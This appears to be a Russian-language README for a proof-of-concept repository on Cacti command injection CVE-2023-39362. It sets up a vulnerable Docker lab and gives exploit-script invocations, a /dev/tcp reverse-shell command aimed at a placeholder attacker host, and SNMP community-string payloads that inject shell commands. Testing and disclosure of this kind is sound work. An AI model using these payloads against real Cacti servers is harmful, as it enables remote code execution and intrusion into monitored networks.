Уязвимость внедрения команд в Cacti (CVE-2023-39362) - PoC

Этот репозиторий является форком этого репозитория: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application

Cacti — это фреймворк с открытым исходным кодом для операционного мониторинга и управления сбоями, который постоянно развивается, чтобы удовлетворять динамические потребности своего сообщества пользователей.

В версии 1.2.24 была выявлена потенциальная уязвимость безопасности, обозначенная как CVE-2023-39362. При определенных условиях аутентифицированный привилегированный пользователь может использовать недостаток в SNMP-опциях Устройства, применяя вредоносную строку, которая приводит к внедрению команд. В результате этой эксплуатации выполняется аутентифицированный удаленный код на базовом сервере.

CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362

Последствия этой уязвимости серьезны, поскольку злоумышленник с аутентифицированными привилегиями может поставить под угрозу целостность сервера, на котором размещается Cacti. Эта компрометация потенциально может служить шлюзом для несанкционированного доступа к другим хостам в сети, особенно к тем, за которыми следит Cacti.

Это уязвимое приложение для тестирования эксплойта для уязвимости Cacti (CVE-2023-39362).

ВНИМАНИЕ!

Это приложение содержит серьезные уязвимости безопасности. Запускайте его на свой страх и риск! Рекомендуется использовать резервную и изолированную среду (например, виртуальную машину со свежим снимком и сетью только для хоста). Не размещайте это приложение на серверах с доступом в Интернет, так как они будут скомпрометированы.

Отказ от ответственности

Я не несу ответственности за то, как кто-либо использует это приложение. Единственное назначение этого приложения — быть тестовым сценарием для эксплойта CVE-2023-39362, и его не следует использовать в злонамеренных целях. Если ваш сервер будет скомпрометирован через установку этого приложения, это не моя ответственность, а ответственность лиц, которые загрузили и установили его.**

Использование

1. Настройка окружения

Здесь приведены шаги для настройки окружения:

1. Запустите docker compose up -d, чтобы запустить композицию.
2. Вы можете завершить шаги, перейдя по адресу http://127.0.0.1/cacti, чтобы запустить мастер инициализации Cacti. Если вы получите ошибку, связанную с базой данных, просто подождите немного и обновите страницу.
3. Учетные данные по умолчанию: admin/admin.
4. Нажимайте "Далее" на всех кнопках во время работы мастера, выбирая соответствующие параметры. Все значения по умолчанию должны подойти, и все обязательные предварительные требования должны быть выполнены.
5. После установки войдите как admin.
6. Перейдите в "Консоль" > "Конфигурация" > "Пользователи".
7. Нажмите на пользователя guest.
8. "Включите" его, задайте пароль, при желании отключите "Сменить пароль при следующем входе".
9. Нажмите кнопку "Сохранить".
10. Перейдите в раздел "Права доступа".
11. В разделе "Общее администрирование" включите "Доступ к консоли" и "Сайты/Устройства/Данные".
12. Нажмите кнопку "Сохранить".
13. Выйдите и снова войдите как guest, чтобы попробовать эксплойт.

Официальное руководство по установке Cacti можно найти здесь.

Для остановки окружения используйте команду docker compose down.

2. Запуск скрипта эксплойта

(Это лишь один из возможных путей эксплуатации)

Выполните команду на удаленном сервере:

python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof

Открытие обратной оболочки:

nc -lvnp 4242

python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'

3. Ручная эксплуатация

1. Перейдите в "Консоль" > "Создать" > "Новое устройство".
2. Создайте устройство, поддерживающее SNMP версии 1 или 2.
3. Убедитесь, что у устройства есть графики с одним или несколькими шаблонами:
   • "Net-SNMP - Combined SCSI Disk Bytes"
   • "Net-SNMP - Combined SCSI Disk I/O"
   • (Создание устройства из шаблона "Net-SNMP Device" удовлетворит требование по графикам)
4. В разделе "SNMP-опции" для поля "SNMP Community String" используйте значение, подобное этому: public\' ; touch /tmp/proof ; \'.
5. Нажмите кнопку "Создать".
6. Проверьте наличие созданного файла в /tmp.

Чтобы получить обратную оболочку, можно использовать следующую полезную нагрузку.

public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'

Корневая причина

Подробное описание корневой причины уязвимости доступно в оригинальном бюллетене безопасности или в блоге оригинального автора.

Авторы

• Antonio Francesco Sardella - автор отчета об уязвимости - m3ssap0
• Akos Jakab - автоматизация эксплуатации с помощью Python-скрипта - jakabakos

Лицензия

Этот проект лицензирован в соответствии с Unlicense — подробности см. в файле LICENSE.